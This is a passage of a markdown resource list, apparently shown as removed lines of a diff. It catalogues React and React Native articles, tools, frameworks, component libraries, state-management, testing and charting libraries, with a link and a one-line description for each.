--   [Twitter Lite and High Performance React Progressive Web Apps at Scale](https://medium.com/@paularmstrong/twitter-lite-and-high-performance-react-progressive-web-apps-at-scale-d28a00e780a3)
--   [Using the React DevTools Profiler to Diagnose React App Performance Issues](https://www.netlify.com/blog/2018/08/29/using-the-react-devtools-profiler-to-diagnose-react-app-performance-issues/)
--   [Top 5 Practices to Boost React Performance](https://www.codementor.io/blizzerand/top-5-practices-to-boost-react-performance-jv6zr89ep)
--   [React is Slow, React is Fast: Optimizing react Apps in Practice](https://medium.com/dailyjs/react-is-slow-react-is-fast-optimizing-react-apps-in-practice-394176a11fba)
--   [Rendering large lists with react-window](https://addyosmani.com/blog/react-window/)
-
-#### **React Internals**
-
--   [Reconciliation](https://reactjs.org/docs/reconciliation.html)
--   [React Fiber Architecture](https://github.com/acdlite/react-fiber-architecture)
--   [Build your own React](https://engineering.hexacta.com/didact-learning-how-react-works-by-building-it-from-scratch-51007984e5c5)
--   [Inside Fiber: In-depth overview of the new reconciliation algorithm in React](https://medium.com/react-in-depth/inside-fiber-in-depth-overview-of-the-new-reconciliation-algorithm-in-react-e1c04700ef6e)
--   [Entire React code base explanation by visual block schemes](https://github.com/Bogdan-Lyashenko/Under-the-hood-ReactJS)
-
-#### **React Interview Questions**
-
--   [13 Essential React Interview Questions](https://www.toptal.com/react/interview-questions)
--   [List of React interview Questions and Answers](https://github.com/sudheerj/reactjs-interview-questions)
--   [React Coding Challenges](https://github.com/alexgurr/react-coding-challenges/)
-
-#### **React Tools**
-
-#### **React Development Tools**
-
--   [react-devtools](https://github.com/facebook/react-devtools) - Inspection of React component hierarchy in the Chrome and Firefox Developer Tools
--   [react-hot-loader](https://github.com/gaearon/react-hot-loader) - Tweak React components in real time
--   [react-loadable](https://github.com/jamiebuilds/react-loadable) - A higher order component for loading components with promises
--   [loadable-components](https://github.com/smooth-code/loadable-components) - React code splitting made easy
--   [reactotron](https://github.com/skellock/reactotron) - A desktop app for inspecting your React and React Native projects
--   [storybook](https://github.com/storybookjs/storybook) - UI component dev & test
--   [docz](https://github.com/doczjs/docz) - Zero Config, live-reloading documentation with Markdown + JSX
--   [react-styleguidist](https://github.com/styleguidist/react-styleguidist) - Isolated React component development environment with a living style guide
--   [react-cosmos](https://github.com/react-cosmos/react-cosmos) - Dev tool for creating reusable React components
--   [eslint-plugin-react](https://github.com/yannickcr/eslint-plugin-react) - React specific linting rules for ESLint
--   [eslint-plugin-jsx-a11y](https://github.com/evcohen/eslint-plugin-jsx-a11y) - Static AST checker for a11y rules on JSX elements
--   [@axe-core/react](https://github.com/dequelabs/axe-core-npm) - Accessibility auditing for React applications
--   [DataFormsJS JSX Loader](https://github.com/dataformsjs/dataformsjs/blob/master/docs/jsx-loader.md) - Small JavaScript Compiler for quickly converting JSX to JS directly on a web page
--   [Why Did You Render](https://github.com/welldone-software/why-did-you-render) - Monkey patches React to notify you about avoidable re-renders.
--   [Divjoy](https://divjoy.com) - React codebase and UI generator to speed up development (paid)
--   [Plasmic](https://www.plasmic.app) - Powerful design tool for building your React components visually.
-
-#### **React Starter Kits and Toolchains**
-
--   [create-react-app](https://github.com/facebook/create-react-app) - Set up a modern Web app by running one command
--   [Razzle](https://razzlejs.org) - Build production ready React applications. Razzle is toolchain for modern static and dynamic websites and web applications
--   [Neutrino React Preset](https://neutrinojs.org/packages/react/) - `@neutrinojs/react` is a Neutrino preset that supports building React web applications
--   [react-starter-kit](https://github.com/kriasoft/react-starter-kit) - Isomorphic Web app boilerplate
--   [create-react-library](https://github.com/transitive-bullshit/create-react-library) - CLI for creating reusable, modern React libraries using Rollup and create-react-app.
--   [tsdx](https://tsdx.io) - Zero-config CLI for TypeScript package development
-
-#### **React Frameworks**
-
--   [next.js](https://github.com/vercel/next.js) - The React Framework
--   [gatsby.js](https://github.com/gatsbyjs/gatsby) - Free and open source framework based on React
--   [react-admin](https://github.com/marmelab/react-admin) - Frontend Framework for building B2B applications on top of REST/GraphQL APIs
--   [remix](https://remix.run) - Finally, a killer React framework from the creators of React Router
--   [Blitz](https://blitzjs.com) - The Fullstack React Framework
--   [aleph.js](https://github.com/alephjs/aleph.js) - The React Framework in Deno
-
-#### **React Styling**
-
--   [styled-components](https://github.com/styled-components/styled-components) - Visual primitives for the component age
--   [emotion](https://github.com/emotion-js/emotion) - Library designed for writing CSS styles with JavaScript
--   [radium](https://github.com/FormidableLabs/radium) - A toolchain for React component styling
--   [jss](https://github.com/cssinjs/jss) - Authoring tool for CSS
--   [aphrodite](https://github.com/Khan/aphrodite) - Framework-agnostic CSS-in-JS with support for server-side rendering, browser prefixing, and minimum CSS generation
-
-#### **React Routing**
-
--   [react-router](https://github.com/ReactTraining/react-router) - Declarative routing for React
--   [navi](https://github.com/frontarm/navi) - Declarative, asynchronous routing for React
--   [curi](https://github.com/pshrmn/curi) - JavaScript router for single-page applications
--   [reach](https://github.com/reach/router) - Next Generation Routing for React
--   [universal-router](https://github.com/kriasoft/universal-router) - A simple middleware-style router for isomorphic JavaScript web apps
--   [wouter](https://github.com/molefrog/wouter) - A minimalist-friendly \~1.3KB routing library
-
-#### **React Component Libraries**
-
--   [material-ui](https://github.com/mui-org/material-ui) - React components for faster and easier web development
--   [blueprint](https://github.com/palantir/blueprint) - A React-based UI toolkit for the webs
--   [Fluent UI](https://github.com/microsoft/fluentui) - A set of React components for building Microsoft web experiences
--   [react-bootstrap](https://github.com/react-bootstrap/react-bootstrap) - Bootstrap components built with React
--   [reactstrap](https://github.com/reactstrap/reactstrap) - Simple React Bootstrap 4 components
--   [ant-design](https://github.com/ant-design/ant-design) - A design system with values of Nature and Determinacy
--   [chakra-ui](https://github.com/chakra-ui/chakra-ui/) - Simple, Modular & Accessible UI Components for your React Applications
--   [semantic-ui-react](https://github.com/Semantic-Org/Semantic-UI-React) - The official Semantic-UI-React integration
--   [evergreen](https://github.com/segmentio/evergreen) - Evergreen React UI Framework by Segment
--   [grommet](https://github.com/grommet/grommet) - A react-based framework that provides accessibility, modularity, responsiveness, and theming in a tidy package
--   [rebass](https://github.com/rebassjs/rebass) - React primitive UI components built with styled-system
--   [reakit](https://github.com/reakit/reakit) - Accessible, Composable and Customizable components for React
--   [rsuite](https://github.com/rsuite/rsuite) - A suite of React components
--   [atlaskit](https://bitbucket.org/atlassian/atlaskit-mk-2) - Atlassian's official UI library, built according to the Atlassian Design Guidelines.
--   [baseweb](https://github.com/uber/baseweb) - Base Web is a foundation for initiating, evolving, and unifying web products.
--   [primereact](https://github.com/primefaces/primereact) - A complete UI Framework for React with 50+ components featuring material, bootstrap and custom themes.
--   [eui](https://github.com/elastic/eui) - Elastic UI Framework
--   [react-spectrum](https://github.com/adobe/react-spectrum) - Adobe's collection of libraries and tools that help you build adaptive, accessible, and robust user experiences
--   [ring-ui](https://github.com/JetBrains/ring-ui) - JetBrains Web UI components
--   [react-bulma-components](https://github.com/couds/react-bulma-components) - React components for Bulma framework
--   [react-bulma](https://github.com/kulakowka/react-bulma) - React.js components for Modern CSS framework based on Flexbox
--   [trunx](https://github.com/fibo/trunx) - Super Saiyan React components, son of awesome Bulma, implemented in TypeScript
--   [bumbag-ui](https://github.com/bumbag/bumbag-ui) - Build accessible & themeable React applications with your Bumbag
-
-#### **React Awesome Components**
-
--   [Awesome React Components list](https://github.com/brillout/awesome-react-components)
--   [react-select](https://github.com/JedWatson/react-select) - The Select Component for React
--   [react-beautiful-dnd](https://github.com/atlassian/react-beautiful-dnd) - Beautiful and accessible drag and drop for lists with React
--   [react-dnd](https://github.com/react-dnd/react-dnd) - Drag and Drop for React
--   [react-grid-layout](https://github.com/strml/react-grid-layout) - A draggable and resizable grid layout with responsive breakpoints
--   [react-table](https://github.com/tannerlinsley/react-table/) - A lightweight, fast and extendable datagrid for React
--   [react-data-grid](https://github.com/adazzle/react-data-grid) - Excel-like grid component built with React
--   [react-draggable](https://github.com/mzabriskie/react-draggable) - React draggable component
--   [react-resizable-and-movable](https://github.com/bokuweb/react-resizable-and-movable) - A resizable and draggable component for React
--   [react-resizable](https://github.com/strml/react-resizable) - A simple React component that is resizable with a handle
--   [react-resizable-box](https://github.com/bokuweb/react-resizable-box) - A resizable component for React
--   [react-searchbox-awesome](https://github.com/axmz/react-searchbox-awesome) - Minimalistic searchbox
--   [react-sortable-pane](https://github.com/bokuweb/react-sortable-pane) - A sortable and resizable pane component for React
--   [react-spaces](https://github.com/aeagle/react-spaces) - Nestable resizable, anchored, scrollable components
--   [react-dates](https://github.com/airbnb/react-dates) - An easily internationalizable, mobile-friendly datepicker library for the web
--   [react-big-calendar](https://github.com/intljusticemission/react-big-calendar) - Calendar component
--   [react-datepicker](https://github.com/Hacker0x01/react-datepicker/) - ReactJS Datepicker
--   [react-list](https://github.com/orgsync/react-list) - A versatile infinite scroll React component
--   [react-intl](https://github.com/yahoo/react-intl) - Internationalize React apps
--   [react-i18next](https://github.com/i18next/react-i18next) - Internationalization for React done right
--   [react-aria-modal](https://github.com/davidtheclark/react-aria-modal) - A fully accessible React modal
--   [react-hotkeys](https://github.com/greena13/react-hotkeys) - Declarative hotkey and focus area management for React
--   [react-keydown](https://github.com/glortho/react-keydown) - Lightweight keydown wrapper for React components
--   [react-joyride](https://github.com/gilbarbara/react-joyride) - Create guided tours for your apps
--   [react-virtualized](https://github.com/bvaughn/react-virtualized) - React components for efficiently rendering large lists and tabular data
--   [react-window](https://github.com/bvaughn/react-window) - React components for efficiently rendering large lists and tabular data
--   [react-text-mask](https://github.com/text-mask/text-mask) - Input mask for React
--   [react-loading-skeleton](https://github.com/dvtng/react-loading-skeleton) - Create skeleton screens that automatically adapt to your app
--   [react-spinkit](https://github.com/KyleAMathews/react-spinkit) - A collection of loading indicators animated with CSS for React
--   [rheostat](https://github.com/airbnb/rheostat) - Accessible slider component built with React
--   [qrcode.react](https://github.com/zpao/qrcode.react) - QR component for use with React
--   [react-archer](https://github.com/pierpo/react-archer) - Draw arrows between React elements
--   [react-pdf-viewer](https://github.com/phuoc-ng/react-pdf-viewer) - A PDF viewer made for React
--   [react-parallax-tilt](https://github.com/mkosir/react-parallax-tilt) - Easily apply tilt hover effect on React components
--   [react-popper](https://github.com/popperjs/react-popper) - Position tooltips and popovers in an elegant, performant manner
--   [react-tsparticles](https://github.com/matteobruni/tsparticles) - Easily create highly customizable particles animations
--   [react-spring](https://github.com/pmndrs/react-spring) - Spring-physics based animation library for React applications
--   [framer-motion](https://github.com/framer/motion) - A React library to power production-ready animations
--   [react-accessible-accordion](https://github.com/springload/react-accessible-accordion) - React Component for creating an 'Accordion' that adheres to the WAI ARIA spec for accessibility.
--   [react-truncate-markup](https://github.com/parsable/react-truncate-markup) - React component for truncating JSX markup.
--   [react-cookie](https://github.com/reactivestack/cookies) - Universal cookies for React
--   [react-slick](https://github.com/akiran/react-slick) - Carousel component built with React
--   [react-gtm-module](https://github.com/alinemorelli/react-gtm) - Google Tag Manager Module for React
--   [react-device-detect](https://github.com/duskload/react-device-detect) - Detect device for React
--   [react-colorful](https://github.com/omgovich/react-colorful) - A tiny (2,5 KB), dependency-free, fast and accessible color picker component
--   [react-modal](https://github.com/reactjs/react-modal) - Accessible modal dialog component for React
--   [cleave.js](https://github.com/nosir/cleave.js) - Format input text content when you are typing
--   [react-fontawesome](https://github.com/FortAwesome/react-fontawesome) - Font Awesome 5 React component
-
-#### **React Testing**
-
--   [jest](https://github.com/facebook/jest) - Delightful JavaScript Testing Framework
--   [enzyme](https://github.com/airbnb/enzyme) - JavaScript Testing utilities for React
--   [react-testing-library](https://github.com/testing-library/react-testing-library) - Simple and complete React DOM testing utilities
--   [react-hooks-testing-library](https://github.com/mpeyper/react-hooks-testing-library) - React hooks testing utilities that encourage good testing practices
--   [majestic](https://github.com/Raathigesh/majestic) - Zero config GUI for Jest
-
-#### **React Libraries**
-
--   [react-border-wrapper](https://github.com/Metroxe/react-border-wrapper) - A wrapper for placing elements along div borders in React.
--   [react-magic](https://github.com/reactjs/react-magic) - Automatically AJAXify plain HTML with the power of React
--   [react-toolbox](https://github.com/react-toolbox/react-toolbox) - A set of React components implementing Google's Material Design specification
--   [tcomb-react](https://github.com/gcanti/tcomb-react) - Library allowing you to check all the props of your React components
--   [react-responsive](https://github.com/wearefractal/react-responsive) - Media queries in react for responsive design
--   [preact](https://git.io/preact) - Fast 3kb React alternative with the same ES6 API.
--   [riotjs](https://github.com/muut/riotjs) - A React-like, 3.5KB user interface library
--   [Maple.js](https://github.com/Wildhoney/Maple.js) - Bringing the concept of web-components to React
--   [react-i13n](https://github.com/yahoo/react-i13n) - A performant, scalable and pluggable approach to instrumenting your React application
--   [react-icons](https://github.com/gorangajic/react-icons) - svg react icons of popular icon packs
--   [react-open-doodles](https://github.com/lunahq/react-open-doodles) - Awesome free illustrations as react components.
--   [Keo](https://github.com/Wildhoney/Keo) - Plain functions for a more functional Deku approach to creating React components, with functional goodies such as pipe, memoize, etc...
--   [Bit](https://github.com/teambit/bit) - A virtual repository for managing and using react and other web components across applications
--   [AtlasKit](https://atlaskit.atlassian.com) - Atlassian's React UI library
--   [ReactiveSearch](https://github.com/appbaseio/reactivesearch) - UI components library for Elasticsearch
--   [Slate](https://github.com/ianstormtaylor/slate) - A completely customizable framework for building rich text editors.
--   [react-json-schema](https://github.com/TechniqueSoftware/react-json-schema) - Construct React elements from JSON by mapping JSON definitions to React components that you expose.
--   [react-lodash](https://github.com/typicode/react-lodash) - Lodash as React components
--   [react-helmet](https://github.com/nfl/react-helmet) - A document head manager for React
--   [react-snap](https://github.com/stereobooster/react-snap) - Zero-configuration framework-agnostic static prerendering for SPAs
--   [Draft.js](https://github.com/facebook/draft-js) - A React framework for building text editors
--   [refract](https://github.com/fanduel-oss/refract) - Harness the power of reactive programming to supercharge your components
--   [react-desktop](https://github.com/gabrielbull/react-desktop) - OS X and Windows UI components built with React
--   [reapop](https://github.com/LouisBarranqueiro/reapop) - A simple and customizable React notifications system
--   [react-extras](https://github.com/sindresorhus/react-extras) - Useful components and utilities for working with React
--   [react-instantsearch](https://github.com/algolia/react-instantsearch) - Lightning-fast search for React and React Native applications, by Algolia
--   [uppy](https://github.com/transloadit/uppy) - The next open source file uploader for web browsers
--   [react-motion](https://github.com/chenglou/react-motion) - A spring that solves your animation problems
--   [react-esi](https://github.com/dunglas/react-esi) - React Edge Side Includes
--   [react-aria](https://react-spectrum.adobe.com/react-aria/index.html) - Adobe's library of React Hooks that provides accessible UI primitives for your design system
--   [react-uploady](https://github.com/rpldy/react-uploady) - Modern file-upload components & hooks for React.
-
-#### **React Integration**
-
--   [ReasonReact](https://reasonml.github.io/reason-react/)
--   [React Rails](https://github.com/reactjs/react-rails)
--   [ReactJS.NET](https://github.com/reactjs/React.NET)
--   [om](https://github.com/swannodette/om) - ClojureScript interface
--   [Reagent](https://github.com/reagent-project/reagent) - A minimalistic ClojureScript interface to React.js
--   [Express React views](https://github.com/reactjs/express-react-views)
--   [React Page Middleware](https://github.com/reactjs/react-page-middleware)
--   [ngReact](https://github.com/davidchang/ngReact) - React Components in Angular
--   [coffee-react-transform](https://github.com/jsdf/coffee-react-transform) - Provides React JSX support for Coffeescript
--   [sprockets-coffee-react](https://github.com/jsdf/sprockets-coffee-react) - Sprockets preprocessor for CJSX
--   [react-kup](https://github.com/snd/react-kup) - A simple, non-intrusive alternative to jsx for coffeescript
--   [turbo-react](https://github.com/ssorallen/turbo-react) - Combine Turbolinks and React to apply DOM diffs
--   [react-bacon](https://github.com/jamesmacaulay/react-bacon) - A little module for using React with Bacon.js
--   [msx](https://github.com/insin/msx) - React's JSX Transformer, tweaked to output calls to Mithril
--   [react-backbone](https://github.com/jhudson8/react-backbone) - Backbone-aware mixins for react
--   [NestedReact](https://github.com/Volicon/NestedReact/) - transparent integration with Backbone Views and NestedTypes models
--   [backbone-reaction](https://github.com/jhudson8/backbone-reaction) - React, Backbone and then some
--   [react.backbone](https://github.com/usepropeller/react.backbone) - Plugin for React to make Backbone migration easier
--   [reactbone](https://github.com/andrejewski/reactbone) - React extensions for Backbone
--   [backbone-react-ui](https://github.com/securingsincity/backbone-react-ui) - React components for use with backbone and backbone paginator
--   [react-events](https://github.com/jhudson8/react-events) - Declarative managed event bindings for react components
--   [react-mixin-manager](https://github.com/jhudson8/react-mixin-manager) - React mixin registration manager
--   [react-topcoat by @plaxdan](https://github.com/plaxdan/react-topcoat) - Topcoat CSS components built with the React library
--   [react-topcoat by @arnemart](https://github.com/arnemart/react-topcoat) - A collection of React components for Topcoat
--   [reactdown](https://github.com/andreypopp/reactdown) - Write React components using markdown syntax
--   [react-jade](https://github.com/ForbesLindesay/react-jade) - Compile Jade to React JavaScript
--   [jade-react](https://github.com/duncanbeevers/jade-react) - Compile Jade templates to React.DOM expressions
--   [gulp-jade-react](https://github.com/duncanbeevers/gulp-jade-react) - Compile Jade templates into React de-sugared JSX with Gulp
--   [sbt-reactjs](https://github.com/ddispaltro/sbt-reactjs) - React SBT Plugin using npm
--   [scalajs-react](https://github.com/japgolly/scalajs-react) - A guilty affair between Scala.js and Facebook's React
--   [react-xtags](https://github.com/vjeux/react-xtags/) - Using React to implement xtags
--   [jreact](https://github.com/KnisterPeter/jreact) - React on server-side Java (with Rhino or Nashorn)
--   [React.hiccup](https://github.com/lantiga/react.hiccup) - A complete replacement for JSX written in sweet.js
--   [react-play](https://github.com/ssorallen/react-play) - Rendering React components in the Play Framework with JDK8's Nashorn
--   [rx-react](https://github.com/fdecampredon/rx-react) - Utilities to works with React in a RxJS
--   [react-with-di](https://github.com/vojtajina/react-with-di) - A hacked prototype of React.js with DI
--   [reactfire](https://github.com/firebase/reactfire) - ReactJS mixin for easy Firebase integration
--   [react-clickdrag-mixin](https://github.com/tleunen/react-clickdrag-mixin) - ClickDrag mixin for React component
--   [react-masonry-mixin](https://github.com/eiriklv/react-masonry-mixin) - Standalone mixin for Masonry (@desandro)
--   [react-packery-mixin](https://github.com/eiriklv/react-packery-mixin) - Standalone mixin for Packery (Metafizzy)
--   [react-dropzone](https://github.com/paramaggarwal/react-dropzone) - Simple HTML5 drag-drop zone with React.js.
--   [aframe-react](https://github.com/ngokevin/aframe) - A-Frame VR + React
--   [react-three-fiber](https://github.com/react-spring/react-three-fiber) - A react reconciler for threejs (web and react-native)
--   [react-three](https://github.com/Izzimach/react-three) - React bindings to create and control a 3D scene using three.js
--   [react-three-renderer](https://github.com/toxicFork/react-three-renderer) - Render into a three.js canvas using React
--   [react-threejs](https://github.com/fritx/react-threejs) - Simplest bindings between React & Three.js
--   [react-masonry-css](https://github.com/paulcollett/react-masonry-css) - Fast Masonry layout powered by CSS, dependency free
--   [react-captcha](https://github.com/appleboy/react-recaptcha) - A react.js reCAPTCHA for Google
--   [reaptcha](https://github.com/sarneeh/reaptcha) - Clean, modern and simple React wrapper for Google reCAPTCHA
--   [react-recaptcha-that-works](https://github.com/douglasjunior/react-recaptcha-that-works) - A reCAPTCHA bridge for React that works
-
-#### **React State Management**
-
--   redux - Predictable State Container for JavaScript Apps
-
-*   [mobx](https://github.com/mobxjs/mobx) - Simple, scalable state management
-*   [react-query](https://github.com/tannerlinsley/react-query)
-*   [flux](http://facebook.github.io/flux/) - Application architecture for building user interfaces
-*   [recoil](https://github.com/facebookexperimental/Recoil) - Experimental state management library for React apps
-*   [xstate-react](https://github.com/davidkpiano/xstate/tree/master/packages/xstate-react) - State machines and statecharts for the modern web
-*   [zustand](https://github.com/pmndrs/zustand) - Bear necessities for state management in React
-*   [easy-peasy](https://github.com/ctrlplusb/easy-peasy) - Vegetarian friendly state for React
-*   [hookstate](https://github.com/avkonst/hookstate) - The simple but very powerful and incredibly fast state management for React that is based on hooks
-*   [effector](https://github.com/zerobias/effector) - Fast and powerful reactive state manager
-*   [reactn](https://github.com/CharlesStover/reactn) - React, but with built-in global state management
-
-#### **React AR and VR**
-
--   [Viro React](https://viromedia.com/viroreact/) - Platform for rapidly building AR/VR applications using React Native
-
-#### **React Renderers**
-
--   [react-three-fiber](https://github.com/pmndrs/react-three-fiber) - A React renderer for Three.js
--   [react-pdf](https://github.com/diegomura/react-pdf) - Create PDF files using React
--   [ink](https://github.com/vadimdemedes/ink) - React for interactive command-line apps
--   [react-blessed](https://github.com/Yomguithereal/react-blessed) - A React renderer for blessed terminal interface library
--   [react-sketchapp](https://github.com/airbnb/react-sketchapp) - Render React components to Sketch
--   [react-figma](https://github.com/react-figma/react-figma) - A React renderer for Figma
--   [react-nil](https://github.com/pmndrs/react-nil) - A react null renderer
--   [remotion](https://github.com/JonnyBurger/remotion) - Create videos programmatically in React
-
-#### **React Forms**
-
--   [formik](https://github.com/jaredpalmer/formik) - Build forms in React, without the tears
--   [react-hook-form](https://github.com/react-hook-form/react-hook-form) - React Hooks for forms validation
--   [react-jsonschema-form](https://github.com/mozilla-services/react-jsonschema-form) - A React component for building Web forms from JSON Schema
--   [react-final-form](https://github.com/final-form/react-final-form) - High performance subscription-based form state management for React
--   [unform](https://github.com/Rocketseat/unform) - Performance-focused API for React forms
--   [formily](https://github.com/alibaba/formily) - Alibaba Group Unified Form Solution
--   [uniforms](https://github.com/vazco/uniforms) - A React library for building forms from any schema
--   [formsy-react](https://github.com/formsy/formsy-react/) - A form input builder and validator for React
--   [react-formal](https://github.com/jquense/react-formal) - Sophisticated HTML form management for React
-
-#### **React Autocomplete**
-
--   [react-autocomplete by @rackt](https://github.com/rackt/react-autocomplete) - WAI-ARIA compliant React autocomplete (Archived, read-only)
--   [react-autosuggest by @moroshko](https://github.com/moroshko/react-autosuggest) - WAI-ARIA compliant React autosuggest component
--   [react-autocomplete by @eliseumds](https://github.com/eliseumds/react-autocomplete) - Just tasting some ReactJS + RxJS
--   [react-autocomplete by @prometheusresearch](https://github.com/prometheusresearch/react-autocomplete) - Autocomplete widget based on React
--   [instatype by @gragland](https://github.com/gragland/instatype) - Simple react autocomplete component
--   [downshift](https://github.com/paypal/downshift) - 🏎 Primitives to build simple, flexible, WAI-ARIA compliant enhanced input React components
--   [React Bootstrap Typeahead](https://github.com/ericgio/react-bootstrap-typeahead) - A React-based typeahead that relies on Bootstrap for styling and was originally inspired by Twitter's typeahead.js.
-
-#### **React Graphics**
-
--   [react-art](https://github.com/facebook/react-art) - React Bridge to the ART Drawing Library
--   [react-canvas](https://github.com/Flipboard/react-canvas) - High performance `<canvas>` rendering for React components
--   [react-famous](https://github.com/pilwon/react-famous) - Complex 3D animations UI at 60 FPS with Famo.us
--   [react-kinetic](https://github.com/freiksenet/react-kinetic) - HTML5 Canvas via KineticJS using React
--   [react-svg-morph](https://github.com/gorangajic/react-svg-morph) - morph your svg components one into another
--   [react-hooks-svgdrawing](https://github.com/kmkzt/react-hooks-svgdrawing) - SVG Drawing with React hooks
--   [react-svg-pan-zoom](https://github.com/chrvadala/react-svg-pan-zoom) - A React component that adds pan and zoom features to SVG.
-
-#### **React Data Managing**
-
--   [immer](https://github.com/immerjs/immer) - Create the next immutable state by mutating the current one
--   [ReSub](https://github.com/Microsoft/ReSub) - A library for writing better React components and data stores
--   [immutable-js](https://github.com/immutable-js/immutable-js) - Immutable Data Collections for Javascript
--   [baobab](https://github.com/Yomguithereal/baobab) - JavaScript & TypeScript persistent and optionally immutable data tree with cursors
--   [WatermelonDB](https://github.com/Nozbe/WatermelonDB) - 🍉 Reactive & asynchronous database for powerful React and React Native apps ⚡️
--   [RxDB](https://github.com/pubkey/rxdb) - A realtime Database for JavaScript Applications
-
-#### **React Maps**
-
--   [react-googlemaps](https://github.com/pieterv/react-googlemaps) - React interface to Google maps
--   [react-maps](https://github.com/matnel/react-maps) - A map component for React
--   [react-google-maps](https://github.com/tomchentw/react-google-maps) - React.js Google Maps integration component
--   [react-gmaps](https://github.com/MicheleBertoli/react-gmaps) - A Google Maps component for React.js
--   [react-map-gl](https://github.com/uber/react-map-gl) - A React wrapper for MapboxGL-js plus overlay API
--   [google-map-react](https://github.com/istarkov/google-map-react) - Isomorphic google map React component
--   [react-mapbox-gl](https://github.com/alex3165/react-mapbox-gl) - A mapbox-gl-js wrapper to make the API react friendly
--   [google-maps-react](https://github.com/fullstackreact/google-maps-react) - A declarative Google Map React component using React, lazy-loading dependencies, current-location finder and a test-driven approach by the Fullstack React team.
--   [react-leaflet](https://react-leaflet.js.org) - React components for Leaflet maps
--   [react-geo](https://github.com/terrestris/react-geo) - A set of geo-related components using react, antd, and ol
--   [pigeon-maps](https://github.com/mariusandra/pigeon-maps) - ReactJS maps without external dependencies
-
-#### **React Charts**
-
--   [vx](https://github.com/airbnb/visx) - Visualization components
--   [victory](https://github.com/FormidableLabs/victory) - A collection of composable React components for building interactive data visualizations
--   [react-vis](https://github.com/uber/react-vis) - Data Visualization Components
--   [recharts](https://github.com/recharts/recharts) - Redefined chart library built with React and D3
--   [nivo](https://github.com/plouc/nivo) - Provides a rich set of data visualization components, built on top of the D3 and React libraries
--   [echarts-for-react](https://github.com/hustcc/echarts-for-react) - Apache ECharts components for React wrapper
--   [react-apexcharts](https://github.com/apexcharts/react-apexcharts) - React Component for ApexCharts
--   [chartify](https://github.com/kis/chartify) - React plugin for building charts using CSS
-
-### React Native
-
-Framework for building native apps using React
-
-#### **React Native General Resources**
-
--   [React Native Official Site](https://facebook.github.io/react-native/)
--   [React Native GitHub](https://github.com/facebook/react-native)
--   [React Native Newsletter](http://brentvatne.ca/react-native-newsletter/)
--   [React Native Playground](https://rnplay.org)
--   [React Native Awesome List](https://github.com/jondot/awesome-react-native)
--   [React Native StackOverflow](http://stackoverflow.com/questions/tagged/react-native)
--   [React Native Radio](https://devchat.tv/react-native-radio/)
-
-#### **React Native Tutorials**
-
--   [React Native Tutorial](https://facebook.github.io/react-native/docs/tutorial.html)
--   [Introducing React Native: Building Apps with JavaScript](http://www.raywenderlich.com/99473/introducing-react-native-building-apps-javascript)
--   [Introduction to React Native: Building iOS Apps with JavaScript](http://www.appcoda.com/react-native-introduction/)
--   [React Native Meets Async Functions](https://medium.com/the-exponent-log/react-native-meets-async-functions-3e6f81111173)
--   [Digital Smart Mirror lab with React Native](http://atticuswhite.com/blog/react-native-smart-mirror-lab/)
--   [The Beauty Of React Native: Building Your First iOS App With JavaScript (Part 1)](https://www.smashingmagazine.com/2016/04/the-beauty-of-react-native-building-your-first-ios-app-with-javascript-part-1/)
--   [The Beauty Of React Native: Building Your First iOS App With JavaScript (Part 2)](https://www.smashingmagazine.com/2016/04/how-to-build-your-first-ios-app-with-javascript/)
--   [A Mini-Course on React Native Flexbox](https://medium.com/@yoniweisbrod/a-mini-course-on-react-native-flexbox-2832a1ccc6)
--   [A Complete Guide to Flexbox)\*\*](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)
--   [Test driving react native applications](http://www.multunus.com/blog/2016/07/test-driving-react-native-applications/)
--   [Using React Native With TypeScript](https://medium.com/@jan.hesters/using-typescript-with-react-native-946aa4b4ae6f)
-
-#### **React Native Development Tools**
-
--   [react-native-code-push](https://github.com/microsoft/react-native-code-push) - React Native module for CodePush
-
-#### **React Native Sample Apps**
-
--   [HackerNews](https://github.com/iSimar/HackerNews-React-Native)
--   [Ziliun](https://github.com/sonnylazuardi/ziliun-react-native)
--   [FinanceReactNative](https://github.com/7kfpun/FinanceReactNative)
--   [SplashWalls](https://github.com/nashvail/SplashWalls)
--   [NBAreact](https://github.com/jbkuczma/NBAreact)
--   [Bus Timetable](https://github.com/EarlGeorge/timetable)
-
-#### **React Native Boilerplates**
-
--   [Create React Native App](https://github.com/react-community/create-react-native-app) - Create React Native apps that run on iOS, Android, and web
--   [Ignite](https://github.com/infinitered/ignite) - The hottest CLI for React Native, boilerplates, plugins, generators, and more!
-
-#### **React Native Awesome Components**
-
--   [Expo](https://expo.io) - The Expo platform for making cross-platform mobile apps
--   [react-navigation](https://reactnavigation.org) - Routing and navigation for your React Native apps
--   [react-native-social-share](https://github.com/doefler/react-native-social-share) - Use the iOS and Android native Twitter and Facebook share popup with React Native
--   [react-native-fbsdk](https://github.com/facebook/react-native-fbsdk) - A wrapper around the iOS Facebook SDK
--   [react-native-side-menu](https://github.com/Kureev/react-native-side-menu) - Simple customizable component to create side menu
--   [react-native-mapbox-gl](https://github.com/mapbox/react-native-mapbox-gl) - A Mapbox GL react native module
--   [react-native-icons](https://github.com/corymsmith/react-native-icons) - Quick and easy icons in React Native
--   [react-native-vector-icons](https://github.com/oblador/react-native-vector-icons) - 3000 Customizable Icons for React Native with support for NavBar/TabBar
--   [react-native-google-signin](https://github.com/apptailor/react-native-google-signin) - Google Signin for React Native
--   [react-native-picker-modal-view](https://github.com/pankod/react-native-picker-modal-view)
--   [react-native-gifted-chat](https://github.com/FaridSafi/react-native-gifted-chat) - The most complete chat UI for React Native
--   [react-native-fast-image](https://github.com/DylanVann/react-native-fast-image) - FastImage, performant React Native image component
--   [recyclerlistview](https://github.com/Flipkart/recyclerlistview) - High performance listview for React Native and web!
--   [react-native-largelist](https://github.com/bolan9999/react-native-largelist) - The best large list component for React Native
--   [react-native-gesture-handler](https://github.com/software-mansion/react-native-gesture-handler) - Declarative API exposing platform native touch and gesture system to React Native
--   [rn-placeholder](https://github.com/mfrachet/rn-placeholder) - Display some placeholder stuff before rendering your text or media content in React Native
-
-#### **React Native Libraries**
-
--   [sentry-react-native](https://github.com/getsentry/sentry-react-native) - Real-time crash reporting for your web apps, mobile apps, and games.
--   [realm-js](https://github.com/realm/realm-js) - Realm is a mobile database: an alternative to SQLite & key-value stores
--   [react-native-device-info](https://github.com/react-native-community/react-native-device-info) - Device Information for React Native iOS and Android
--   [react-native-react-bridge](https://github.com/inokawa/react-native-react-bridge) - A toolset to run React web app in React Native and handle communication between them.
--   [uncompress-react-native](https://github.com/didisouzacosta/uncompress-react-native) - Simple library to decompress files .zip, .rar, .cbz, .cbr in React Native.
-
